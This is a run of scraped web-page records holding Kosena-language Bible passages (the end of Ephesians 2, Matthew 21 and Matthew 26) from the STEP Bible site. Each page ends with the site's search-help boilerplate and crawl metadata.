Káráísitinteya tarúsinkaraiye.\nmimbórá-kwáásí-íta umásínkarain-kwasai.11 mindáyaveꞋa imáyáa oro. kentinóvowi íma Yútaa-kwaasi ovó keinárawakwaraꞋa íma Yútaa-kwaasi owatá Yútaa-kwaasiya Áánútuna kwaásiya úndayaveta súraꞋa kárámai araaꞋénaya kwéeta keinárawataveta úwoi-kwaasi owé-imáyáá éta séta íma túraꞋa kárámai araaꞋéna owáí owéyá kwésumpo mindáyaveꞋa imáyáa oro. 12 minkánáávímbá keinárawaꞋa Káráísitina némpaꞋa méꞋa óꞋowima éꞋa íma Áánútumo ítámakain-kwaasi éꞋa Áánútu simái asirámarena tarúmakain-kwaasi íma éꞋa marapáꞋá máyówana Áánútu kesé íma máyowaꞋa kwesémo maéyaveꞋa íma amuꞋmaréꞋa máyówana 13 ááéma Áánútuna némpaꞋa máyówai Ísu Káráísiti keinárawatavaiye séna puwéna póna tíꞋmaena kwená egwaaꞋá tínkaraisaꞋa póꞋa kwesé tarúmai méraawe.\n14 Ísu Káráísiti puwúntavena Yútaa-kwaasiye óꞋonkaa-kwaasiye kentáásí avumpimbó kwénamo taaínkaar-umaimo namuro-kwáásí-íꞋo umásinkemayonta maisiyuwéna mimbórá-kwáásí-íꞋa umásinkenaya 15 Yútaa-kwaasiya kentáásí ámáámba tuwéna Yútaa-kwaasiye óꞋonkaa-kwaasiye aúnáiꞋa umái mimbórá-kwáásí-íꞋa umásinkenaya kwempáꞋá tarúsinkenaya póna paru umásinkanintavena mirá uráiye. 16 Ísu Káráísiti taairaꞋá pukáintavena síyámbo kwéunda-yantaaꞋa ánásamasinkenaya Yútaa-kwaasiye óꞋonkaa-kwaasiye mimbórá-kwáásí-íꞋa umásinkenaya síꞋmaenaya ÁánútunopaꞋa mósinkenaya 17 mirá éna téna áséi-kwasai paru kwéumasinkain-ainta simátimena keinárawaꞋa óꞋonkaa-kwaasi Áánútuna némpaꞋo máyáawai tasimátimena kesáá Yútaa-kwaasi Áánútuna egwaaꞋá máyaundawaiya tasimásimenaya 18 Ísu Káráísiti mirá uráintavena Áánútun-amanko súwaꞋnaa isanayá Káráísiti kentáá Yútaa-kwaasiye óꞋonkaa-kwaasiye síꞋmaenaya kentáásivonopaꞋa kwégwisata kwená egwaaꞋá máyaumne.\n19 mindáyaveꞋa ááéma kwááyu-kwaasi éꞋa ívéꞋa íma mirá éꞋa Áánútuna kwaásiye keinárawakwaraꞋa Áánútuna kwaási-iꞋa umái máyáamba kesááwé keináraware Áánútuna akún-kwáásí-íta umáíya máyaumne. 20 Áánútumo naankáámbó kwéumaraimba Ísu Káráísiti ávonkaamba isasá Áánútuna aantá-kwaasiye Áánútun-aai simátíméwaiye naamayáánkaamba owaꞋá keinárawaꞋa naankáámbá kwéowe. 21 ávonkomo amápaꞋ-nanamimo asááuraintemba kesáá Ísu Káráísitiye tarúmaiya máyaunda Áánútu kwená aokaꞋ-námbá kwaási súneiya naankáámbá kwéumaraiye. 22 keináraware kesááwé kweséya tarúmai máyaundaya Áánútun-amanko kwaási súneiya naankáámbá kwéumarena mimpímbá kwémaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Eph.2","date":"2018-04-26T00:07:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948029.93\/warc\/CC-MAIN-20180425232612-20180426012612-00508.warc.gz","language":"kze","language_score":0.9999768734,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999768733978271}","num_words":574,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 21\nÍsu Yérúsaremu-naopaꞋa kuráin-kwasai.1 Ísu kwená kwayó-kwáásíyé kumbá Yérúsaremu-noar-ampaꞋa kumbá Óríve-omakar-egwaaꞋ-naoꞋa áwíꞋa Pétévasi-naoꞋa egwaaꞋá kwésa kwená kwayó-kwáásí kaeꞋá mátiꞋmarena 2 séna epín-dáópaꞋa kurékai awáneyamba moórá-poigo áwíꞋa tónki ánda kwímaraawana áráákwaraꞋa máyáivo koawánékai ándáma iyátuwekai áíꞋmaekai tekaiyó. 3 moóránakomo tuwánénamo tísaa ínakai anóndako ayááꞋmaeꞋa kónáe siyé kosimámiyana séna ánivo áíꞋmaekai kokaiyó síníye Ísu siráiye.\n4 naaóváꞋá Áánútun-aai simátímakowai siráintemba Ísu mirá uráiye. Áánútun-aai simátímakowai séna\n5\n- Sáíyono-noapaken-kwaasiyavai simátime se kentí kawáánáꞋá kentópaꞋa kwempaꞋá teémena tónki-poigo ayááꞋmaena téna tónki-poigon-araako ayááꞋmaena kwétiye simátimiyo siráiye\nÍsu anóm-bonoꞋ-naumpaꞋa iráin-kwasai.12 suwaná Ísu Yérúsaremu-naopaꞋa anóm-bonoꞋ-naumpaꞋa Áánútuna naaúmpaꞋa iyéna monoꞋ-náúmpáꞋó meéyámbó kwémayon-kwaasi tuwánéna utiꞋmátuwena monoꞋ-nánkóná óntambo meéyámbárón-kwaasiti taareimá tawísíyuwena Áánútuntavesa imáyáa ésa máái-numama kwéamun-dumama meéyámbárón-kwaasiti taareimá tawísíyuwena 13 simátimena séna Áánútun-aai aúváí-kwandaaivimba agaimaréna séna kesí naatavésa sésa ÁánútumpaꞋo námúnaamo sen-dámbán-iye kwésewe agaimaréna siráiye. ánivo umóyán-dáúmpáꞋó ontenkáámbá uráawe Ísu siráiye.\n14 Ísu mináímbá simásuwena anóm-bonoꞋ-naumpaꞋa máyowasa túrambo kavíkówaiye aíyayaambo tausokówaiye kwenópaꞋa tuwaná asóvamatinkowasa 15 iyámpói mésa anónkar-anonkaꞋa sésa Tévítin-andarakewai áwíꞋa mósá kwémaraumne sumbá mono-káwáá-kwáásíyé ámáámba sun-kwáásíyé isésa Ísumo óꞋoran-kaweꞋ-mayaimo mayómba awánésa tirumbá sáwíꞋa umánkesa 16 Ísuntavesa sésa iyámpóímo sáwí-aimbo kwésemba íya kwéisaano suwaná Ísu séna áꞋa kwéisaunda Áánútun-aai aúváívimba agaimakáin-aimba awánaraawe. maarán-áímbá séna túwaꞋnaa óndayavesa pósa iyámpóíye umarané enáwíꞋa mósá kwémaraawe agaimaréna siráiye Ísu simásuwena 17 tiyuwéna máápaꞋa kuména mindáópaꞋa tuwéna Pétáni-naopaꞋa kwéna mindóꞋwáámbá koméraiye.\ntaaigó aáyánkarain-kwasai.18 Pétáni-naopaꞋa kogwáúmba usásinesa Yérúsaremu-naopaꞋa tumbá Ísumba áái ankówana 19 moórá-taigo áwíꞋa víkima aankón-awampaꞋa kwáyowana mintáéramba nánáe séna ááimpaꞋa kwéna awánómba ánáwe suꞋmai kwáyowana mintáígóntávéna séna ená arambá íma iyáníyone súwana mintáímá aáyánkaraiye.\n20 mintáí aáyánkówasa Ísuna kwayó-kwáásí awánésa táátavesa ésa tiyáámba tóipimba aavésa sésa víki-tai ááéma aáyánkagwiye suwaná 21 Ísu séna áraiꞋa simátimeꞋa séꞋa ÁánútuntaveꞋo ímo kaer-ímáyáámó éꞋo asirayán-ímáyáámó éꞋo éꞋa víki-taigontaveꞋo súnanamo aáyánkaintemba kanaán-umai mirá éꞋa miráwé suꞋmai íma éꞋa maanómátávéꞋa séꞋo iré mapámbai nompáꞋá kumuwómó síyanamo éna mirá íníye. 22 ÁánútumpaꞋa námúnaa séꞋa óꞋon-oꞋon-tantaataveꞋa áísaa eꞋa sembá áraiꞋa Áánútu kanaán-umai súwaꞋnaa umásinkaniye sembá kanaán-umai kwétuwaꞋnaa-iye.\nnááwa aiꞋmákaisa tiráano siráan-kwasai.23 Ísu mináímbá simásuwena anóm-bonoꞋ-naumpaꞋa uména Áánútuna áséi-kwasai kwésimatimuwasa mono-káwáá-kwáásíyé Yútaa-anon-kwaasiye tésa sésa nááwa aiꞋmákaisa tiréwa nááwampinkena mairéwa asirayám-báyáí kwémayaanda simásimiyo suwaná 24 Ísu séna aivaꞋá moórá-aimba tísaa onaꞋá anondámo síyaꞋo éꞋa sísaa on-áímbá simátimenaumne. 25 ááéma Yóni nombá pétinkaraiwaima Áánútuwa simámakaisana nombá pétinkarai. kwaásiya simámakaawana nombá pétinkaraiyo súwasa miwímá keáímbá sésa nórayaawa sénaumno. Áánútu simámakaisana nombá pétinkaraiyemo senanayáámó éna nóra séra Yónin-aaiyaveꞋa íma áraire sirááo síníye. 26 kwaási simámakaawana nombá pétinkaraiyemo senasayáámó ésa úwoi-kwaasi sínkamonaaowe. úwoi-kwaasi sáwíva-kwaasi Yónintavesa Áánútun-aai simásímakaiwai uráiye kwésemba pósa áwááꞋa siyénááowe mirá keáímbá sésa 27 Ísuntavesa sésa emó sísaa ónda-ainta íma ísaraumne suwaná Ísu séna ímo simásimiyaꞋa nááwampinkena mairéra asirayám-báyáí kwémayaunda-aimba íma simátimenaumne Ísu siráiye.\nmoóráwai ááninkaiti kwaasái.28 Ísu mináímbá simásuwena séna simátíménda-aimba imáyáa oró. moóráwai kaer-íyámpóí tínkaraiwai aivakéwáíntávéna séna kesááninkoo kesí ándá-aran-kigauvaꞋa mayáí komayaaó sisaná 29 aivakéwáí séna íma sínkáiye séna ména moórá-imayaa éna mayáí komáyáísana 30 naaénkewaintavena séna kesí ándá-aran-kigauvaꞋa mayáí komayaaó sisaná owé simái ivátuwena íma mayáí mairáiye 31 Ísu simásuwena tísaa ena séna nááwa tivowán-áái kwéisaiyo súwasa aivakéwáí avowán-áái kwéisaiye suwaná Ísu séna mináímbá imáyáa éꞋa simátíménda-aimba ísáaro. táákísi-umoyan-kwaasiye eénánkáꞋó kwénaaon-inine sáwíꞋa kwéon-kwaasin-owe kwésembanivo miwímá Áánútu kwená kwaásimo kawááin-ampaꞋa ááéma kwégovo keinárawaꞋando. 32 Yóni nombá pétinkaraiwai téna kawer-ámbá agaráátinkowaꞋa kwenááiyaveꞋa íma áraire siráavo táákísi-umoyan-kwaasiye eénánkáꞋó kwénaaon-inine Yónin-aaiyavesa áraire suwaꞋá keinárawaꞋa miwí tuwánéꞋa Yónin-aaiyaveꞋa íma áraire séꞋa kentí sáwí-imayaa íma tuwéꞋa ÁánútunopaꞋa íma tiráawe Ísu siráiye.\nándá-aran-kigauraꞋo tavíyéwaiti kwaasái.33 Ísu mináímbá simásuwena séna moórá kwántámai-aimba simátíménda ísáaro. moóráwai anóm-baragwarawai ména óntan-kurima úmakena ándá-aran-kigau úmarena ándá-arankona tááveꞋa úmarena ándá-arambo mapándáápá ínana anombó kumínín-taaveꞋa úmarena óntan-damba kígauraꞋo taviyí-námbá úmarena ayáátáákaꞋa óꞋom-baravaꞋa koménae séna maankígáúráꞋó taviyíyawaimo éꞋa kesáváí évakar-aramba maéꞋa évakaꞋa kembá siyúwáaro simátimena óꞋom-bapaꞋa komáyáísana 34 arambó ávumo kain-kánáá tisaná aanávómá kesí ándá-aramba komáyáaro séna kwená kwayóꞋnárawaꞋa tiꞋmáráísasa minkígáúráꞋó tavíyéwaitopaꞋa tewasá 35 tátoꞋmai moóráwaimba tuvuwésa moóráwaimba tuvúꞋmaraawana púwísasa moóráwaimba óntandei tuvuwésa ándá-aramba íma tímémba tiꞋmátuwaawasa kowaná 36 aanávómá aivaꞋá kwená kwayóꞋnárawaꞋa évakaꞋa tiꞋmaréna naaémba sáwívarawai tiꞋmáráísasa tewasá minkígáúráꞋó tavíyéwai tátoꞋmai aivaꞋó uráantemba mirá ésa sáwíꞋa umátinkesa ándá-aramba íma tímémba tiꞋmátuwaawasa kowaná 37 aanávómá ména naaémba séna kesááninkomba aiꞋmáráanana kwínasa kwenáái isánááowe séna aiꞋmáráísana tisasá 38 minkígáúráꞋó tavíyéwai awánésa keáímbá sésa aanávómbá ááninko kwétimba póta tuvúwónana puwéna maankígáú íma mayáínata kesáá mayánáe sésa 39 tátoꞋmai ándá-aran-kigauvakemba awéntayuwesa tuvúwówana pukáiye. 40 Ísu mináímbá simásuwena séna minkígáúgó aanávómá tínímba kígauraꞋo tavíyéwai nóra síníyo súwasa 41 miwí sésa misáwí-kwáásí tínkaminasa puwíyana óꞋon-kwaasi kesí kígauraꞋa tavíyéro sínasa minkígáúráꞋá taviyésa arambó ávumo kain-kánáá tíndantemba aanávómbá minárámbá aménááowe siráawe.\n42 suwaná Ísu simátimena séna Áánútun-aai aúváívimba awánaraawe. maarán-áímbá agaimaréna séna\n- óntan-damba on-kwáásí moórá-ontantavesa sáwíꞋa kwéiye sésa maisukáawe. aáno minóntánkó ávonkaaamba uráiye. mindá Ísóigo isatá awánéta séta óꞋoran-kaweꞋa uráiye kwésune\n45 Ísu súwasa mono-káwáá-kwáásíyé ámáán-kawaa-kwaasiye isésa tááko pééi súwasa sésa moóráwai ááninkai kwaasáimo simbá kentááyávéna siyé sésa ándá-aran-kigauraꞋo tavíkáawaiyavenamo simbá kentááyávéna siyé sésa óntankowemo simbá kentááyávéna siyé sésa 46 tátoꞋmai tuvuwónáe sésa umbá amápa-kwaasi Ísuntavesa sésa Áánútun-aai simásímíwaiman-iye sun-kwáásí táároi inkaisésa Ísumba íma tátoresa ivátukaawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.21","date":"2018-04-26T21:08:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948549.21\/warc\/CC-MAIN-20180426203132-20180426223132-00018.warc.gz","language":"kze","language_score":0.9999811649,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.999981164932251}","num_words":912,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 26\nÍsuna ámááyu-aimba siráan-kwasai.1 Ísu minóꞋón-óꞋón-áímbá kwená kwayó-kwáásíyávéna simátímakaiye. naaóváꞋó Áánútu Yútaa-kwaasi tíyótaasa í-tánón-kánáá imáyáa éna séna kaeꞋ-nóꞋwáámbá kwaésa tíyótaasa í-tánón-kánáá tínímba kembá tátoꞋmai taairaꞋá sínkamiyaꞋa puwónaumne Ísu kwená kwayó-kwáásíyávéna simátímakaiye.\n3 simátimuwasa mono-káwáá-kwáásíyé Yútaa-anon-kwaasiye aivaꞋ-mónó-káwáánákó áwíꞋa Káyavaasina naaúmpaꞋa torupamái mésa 4 sésa nóraumaiya aúpáꞋá Ísumba tátoꞋmai inkamónaundayaꞋiyo. 5 amápa-kwaasi ááiꞋa tíyáávainivo tanómbo kauvíyan-kanaaraꞋa íma tuvuwónaumne siráawe.\nÍsumba áséi-masawemba pérankarain-kwasai.6 suwaná Ísu Pétáni-naopaꞋa koména moóráwai áwíꞋa Sáímonina naaúmpaꞋa áúma kárúkokovaaꞋa uréna ánásarowaina naaúmpaꞋa ména toómbá kwénowana 7 moórá-ininko iyéna áséi-kwiyumba úm-basawemba anón-ontankakemba meéyámbakaim-basawemba maimaéna iyúmba Ísu aꞋnómpímbá atímarowasa 8 kwená kwayó-kwáásí awánésa áwááꞋa sésa nóra séna mimbásáwémbá úwoi atíyankaiyo. 9 mimbásáwémbó óꞋowimo timénamo anón-ontambo mairénamo ímo óísambo makáan-kwaasi tíméraambaniye suwaná 10 Ísu iséna ivátuweꞋa íma áwááꞋa aééro. kaweꞋá umái pésinkaiye. 11 ímo óísambo máráan-kwaasi keséma maíꞋmaiꞋa kwéiyaꞋa túwaꞋnaa ónáe séꞋa túwaꞋnaa ónááombanivo kemá keséma marapáꞋá íma maíꞋmaiꞋa ónaumne. 12 púwóndaraꞋa masawémba pésinkesa utamásinkanaaovo minínínkó áꞋa masawémba pésinkaiye. 13 áraiꞋa súmpo maísáaro. kesí áséi-aimba amápaꞋ-mapaꞋa kwésimatimesa minínínkómó umásinkain-aimba kwésimatimiyasa táákaꞋa maránááowe Ísu siráiye.\nYútási Ísuna kuntaruꞋá mairáin-kwasai.14 súwana Ísuna kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasivinkemba moóráwai áwíꞋa Yútási moórá-awiꞋa Isakéríóti mono-káwáá-kwáásítópaꞋa kwéna 15 séna Ísumbo tátoraiyantavaimo agaráátínkáanaꞋo éꞋa nóraumai-meyana siménááoo súwasa moórá-kwaai aíyayaan-umai siyáánkai-ontamba 30 ontamba táámpamai ámúwana Yútási maimaéna 16 kwéna nóraumai Ísumba agaráátínkáanasa tátoranaao-imayaa ááimba ásámai uráiye.\ntíyótaasa í-tánómbá kauráan-kwasai.17 Yútaa-kwaasi ímo intóráin-tantaakwara-pereti kwéagayon-kanaa aiva-táwai túntemba kwená kwayó-kwáásí Ísumba taáísaa esa sésa náávara tíyótaasa í-tánómbá kogauvónaundayaꞋiyo suwaná 18 Ísu séna Yérúsaremu-naopaꞋa kwékai moórá-kwaasigontavekai sékai kentáásí anóndako séna kesí kanaamá tisatá kesí kwayó-kwáásíyé ená naaúmpaꞋa tíyótaasa í-tánómbá nánaumne kwésiye kosimámékaiyo súwasarai 19 Ísumo súntemba mirá ésarai minkáꞋá tanómba mágauwankaraaiye.\n20 tanómba mágaumakoyasa enónkaꞋa Ísu kwená kwayó-kwáásíyé kwésa mindáúmpáꞋá umésa 21 toómbá kwémandesa uwaná Ísu séna keinárawapinkemba moóráwai kembá namuro-kwáásíráꞋá agaráátinkaniye súwana 22 tirunkó umbaí tówasa moórá-mora-umai áísaa esa sésa Ísóigoo kewáꞋiyo sinté kuwaná 23 Ísu séna moóráwai kwená toón-ayai maimaéna kesé moórá-taavepimba tuꞋmái náíndawai kwemá kembó namuro-kwáásíráꞋó agaráátinkaniwaiman-iye. 24 naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna kwaási úrandako puwíníye siráintemba póꞋa púwónana namuro-kwáásíráꞋó agaráátinkaniwai sáwí-meyamba mayáníye. kwembó ímo maránkaraankakaankasi kaweꞋá isinó Ísu súwana 25 Yútási kwembó agaráátinkaniwai séna anóndakoo kentáváíyá kwéseno súwana Ísu séna áꞋa séne siráiye.\nÍsu kwená kwayó-kwáásí toómbá tímakain-kwasai.26 súwasa toómbá kwénowana Ísu péréti maisoréna ÁánútumpaꞋa súwi séna topámbai kwená kwayó-kwáásí tímatuwena séna mindá kesúman-ivo maimái naaró séna 27 ándá-aran-dombo kwáyon-anaveumba maisoréna ÁánútumpaꞋa súwi séna tiména séna amáparawai naaró. 28 mindá kesí naaemán-iye. kesí naaemá sáwívarawaiyavena kumínímba póna Áánútu sáwí-imayaa maitiyuwéna séna kesé tarúmai máyáawe séna mináúná-áímbá simái tarúmakaiye. 29 simátimeꞋa séꞋa ókwaraꞋa ándá-aran-domba íma nánaumpo kesivo kwená kwaásimo kwégawaaipaꞋa kesé ménaaomba ándá-aran-domba aúná-nomba nánaumne Ísu súwasa 30 Áánútuntavesa ísámai monor-ímá simásuwesa mindáúmpáꞋá tuwésa Óríve-omapaꞋa iráawe.\nPítaa ánaaemba umásinkaniye siráin-kwasai.31 Óríve-omapaꞋa umáyówana Ísu simátimena séna Áánútun-aai aúváívimba agaimaréna séna Áánútu séna\n- sipisípiraꞋo kawááiwaimba tuvúwónana puwínasa\n- sipisípiyomba kóyáwé ónááowe Áánútu siráiye\nÍsu KétésémanivaꞋa námúnaa siráin-kwasai.36 amápaꞋa mirá simásuwesa Ísuwe kwená kwayó-kwáásíyé taai-kanáágúnéyómbá áwíꞋá KétésémanivaꞋa komésa Ísu simátimena séna mankáꞋá máyaiyaꞋa ÁánútumpaꞋa námúnaa kosénaumne séna 37 Pítaawe Sépéti ááninkaiye tíꞋmaena komáyowana umbai-yántáákómá arumbá sáwíꞋa kwéuwana 38 simátimena séna kesirunkómá umbaiyé taisaꞋá póꞋa puwóraꞋnaraamba umái máyaumne. maankáꞋá méꞋa kesé kárákwimai máéro séna 39 tiyuwéna egwaaꞋá kwéna Áánútu anóndaꞋan-iye séna maraꞋá kumbaéna námúnaavinkemba séna kesivoó emó kanaán-iye sémo e maanúmbáí-yántááꞋó kesópaꞋo tínímba maisiyuwéma ánivo kesí imáyáa íma kwarénaꞋa ená imáyáa kwáráano Ísu siráiye.\n40 Ísu námúnaa simásuwena kwená kwayó-kwáásíráútópaꞋa téna tayuwánómba tuún-kwaigurówana tayúsena Pítaantavena séna íma kanaaráꞋá sáwíyankaꞋa kesé kárákwimai máyáane. 41 Sáátáánigo tísaa umai isánáe-aimba kentópaꞋa síyáváínivo ÁánútumpaꞋa námúnaa seró. imáyáago kató isaná áúgomo umbaimó taimbá mindá áúgávaaꞋa kwéiye simásuwena 42 moórágwaraꞋa tiyuwéna egwaaꞋá kwéna ÁánútumpaꞋa námúnaavinkemba séna minúmbáí-yántááꞋá enópaꞋa úwoi tíníyemo sinaꞋó éꞋa emó sindantembá mirá ónaumne siráiye.\n43 Ísu námúnaa kosimásuwena kwená kwayó-kwáásíráútópaꞋa téna tayuwánómba tuún-kwaigurésa túgávaate kwéuwana 44 moórágwaraꞋa tiyuwéna egwaaꞋá kwéna kéꞋnaamba námúnaa kosimásuwena koyauweréna 45 minkáúmbónárauyavena séna tuúmó kwaiguréꞋo máyáamba kemá kwaási úrandakomba sáwíꞋo kwéon-kwaasiraꞋa agaráátinkainasa tátoranaaon-kanaa kwétivo 46 usásinewata kwétiyapata konó. kembó agaráátinkaniwai kwétiye Ísu siráiye.\nÍsumba tátokaan-kwasai.47 Ísu mináímbá kwésuwana kwená kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasivinkemba moóráwai áwíꞋa Yútási túmba kwesé sáwíva-kwaasi taánasatagwara ánáyatankwaraꞋa maimaésa tumbá mono-káwáá-kwáásíyé Yútaa-anon-kwaasiye miwímá tiꞋmárówasa tumbá 48 ááéma Yútási Ísumbo agaráátinkaintavena simátimena séna paruvará umánkáandawaimba tátoraaro siráimba 49 póna Yútási ÍsunopaꞋa téna séna anóndakoo máyaano kwésena paruvará kwéumankowana 50 Ísu séna kesí kwaásiyo ónáe sindáíꞋa uwó súwasa kwesémo tuwáí Ísumba tátórówana 51 Ísuna kwayó-kwáásívínkémbá moóráwai taánasatama ámúrandavinkemba taúꞋmaena aivaꞋ-mónó-káwáánákóná kwayó-kwáásígó ááꞋa agáúsuwowana 52 Ísu kwentávéna séna ená taánasatama ámúrandavimba kwiyuwó. taánasataneimo tínkamiyan-kwaasi anondámo ésa taánasatanei tínkamiyasa puwónááowe. 53 maaráyávéꞋa imáyáa oró. kesivontávéꞋo séꞋo súwaꞋnaa uwómó senanamó éna kwíyómpaken-kwayoꞋnarawaꞋa sáwívarawai íma kanaán-umai táámpanaaowai avekáámbá tiꞋmaráínasa súwaꞋnaa ónááowe. 54 mirámó súndarakai Áánútun-aai aúváívimba agaimakáin-umbai-yantaaꞋa kesópaꞋa íma tisinó. ánivo siráintemba miráumai paáriniye Ísu siráiye.\n55 Ísu mináímbá simásuwena tun-kwáásíyávéna séna kentávéꞋa umóyán-kwáásímán-iye séꞋa póꞋa taánasatagwara ánáyatankwaraꞋa maimaéꞋa kembá tátoranae séꞋa kwétewe. sáwíva-tawai anóm-bonoꞋ-naumpaꞋa kesáái kwésimatimundaraꞋa íma kembá tátokaawe. 56 naaóváꞋá Áánútun-aai simátímakowai aúváívimba agaimakáan-aimba kembó mirámó umásínkéneꞋa kwétewe súwasa kwená kwayó-kwáásí amápaꞋa inkaisésa auwésa kóyáwé uráawe.\nanón-kwaasi Ísumba aaí simánkaraan-kwasai.57 kwená kwayó-kwáásí auwésa kuwasá Ísumba tátorowai áíꞋmaesa aivaꞋ-mónó-káwáánákó áwíꞋa Káyavaasina naaúmpaꞋa móankesa mindáúmpáꞋá ámáámba sun-kwáásíyé Yútaa-anon-kwaasiye torupamái máyón-daumpaꞋa móankowana 58 Pítaa tínaaemba nénkaꞋa teémáyomba aivaꞋ-mónó-káwáánákóná máápar-ontavinkemba iréna naamaúvaꞋa ména Ísun-aneꞋo paáríndamo awánáíndayavena i-kwáásíyé méraiye.\n59 Pítaa máyowasa mono-káwáá-kwáásíyé Yútaa-anon-kwaasiye amáparawai Ísumba tuvuwíyana puwíní-ainkona ááimba avakáá-uwana 60 íma kwáyowasa Ísuntavesa mósi-mesi-aimba sésa íma moórá-aimba suwasaráí kae-kwáásígóráí usásinesarai 61 kampaꞋá sésarai kwemó sisatáámó isáúndaya anóm-bonoꞋ-namba Áánútuna naambá kanaán-umai tawísíyuweꞋa kaumbo-táwai maisuwéꞋa ónaumne siráiye suyaná 62 aivaꞋ-mónó-káwáánákó usásinena Ísumba áísaa ena séna mindáraimo simánkaayan-aimba anondá íya síníyono súwana 63 Ísu iséna íma aaí súwana aivaꞋ-mónó-káwáánákó séna Áánútu asirayánkwáráwáí aúrankaꞋa mé áísaa onda-áímbá árair-aine suꞋmai simásimiyo. Áánútumo usásinankaiwai Káráísiti Áánútu ááninkowaꞋonompo simásimiyo súwana 64 Ísu séna áꞋa sémpo simátimeꞋa séꞋa naaémba suwánáínaꞋa kemá kwaási úrandako Áánútu asirayáwáíná ayáánúrapaꞋa asirayán-áyámpáꞋá uméꞋa ainámpímbá kumónaumne Ísu súwana 65 aivaꞋ-mónó-káwáánákó arumbá sáwíꞋa kwéuwana kwená unáánkwátói tarátuwena séna Áánútumba akáꞋáámba simánkena kwesáváí simbá póta mináíntávéta aaivimbá mayankéta óꞋon-aimbo simánkáamba avakáá únda póta ivátá tuwéta Áánútumbo simáímo sáwíꞋo umánkáintaveta 66 nóraya ónaumno súwasa sáwíꞋan-ivo tuvuwíyana puwíno sésa 67 Ísumba tuwirááíma kwirankésa tuvuwésa tiyáándei tuvúwún-kwaasi 68 akáꞋáámba sésa esáváí se Áánútu usásisinkaiwai úne séndawai ómpo kemá nááwa kwétuvuwuna simásimiyo siráawe.\nPítaa íma awánáúnda-kwaasiye siráin-kwasai.69 Pítaa naamaúvaꞋa máyowana aivaꞋ-mónó-káwáánákóná kwayór-árásígó awánéna kwenópaꞋa téna séna Káríri-ayampakewaise maéndawai óne súwana 70 Pítaa amáparawai túrankaꞋa séna emó sénda-aimba sáákoma íma kaweꞋán-iye simásuwena 71 máápar-ontavimba komáyowana óꞋomba kwayór-ínáámárúgó awánéna máyón-kwaasiyavena séna minkwáásígómá Ísu Násáreti-naopakewaiye maíwaiman-iye súwana 72 Pítaa aikaꞋá maréna séna íma awánáúnda-kwaasiman-iye simásuwena máyowasa 73 sáwíyankaꞋa máyómba PítaanopaꞋa tésa sésa Ísuna kwayó-kwáásí mirán-kwáásí máyáawata awánemayaundantenkaan-kwaasiraamba éma mináyámpákén-kwáásí tááiraamba kwésene suwaná 74 Pítaa séna kampar-áímbó kwésenanamo éna Áánútu sínkaminiye. síyawaimba íma awánáúndanaꞋan-iye kwésuwana kokórigoma áái súwana 75 Pítaa Ísumo simámun-aimba áákaꞋa maréna mirá siráinkaꞋa kokórigomo ááimo ímo siráindaraꞋa emá kaumboráꞋá kentáváí se íma awánáúnda-kwaasiman-iye síníyone siráimba mináímbá áákaꞋa maréna máápaꞋa kuména ávááraumai iviꞋá taráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version 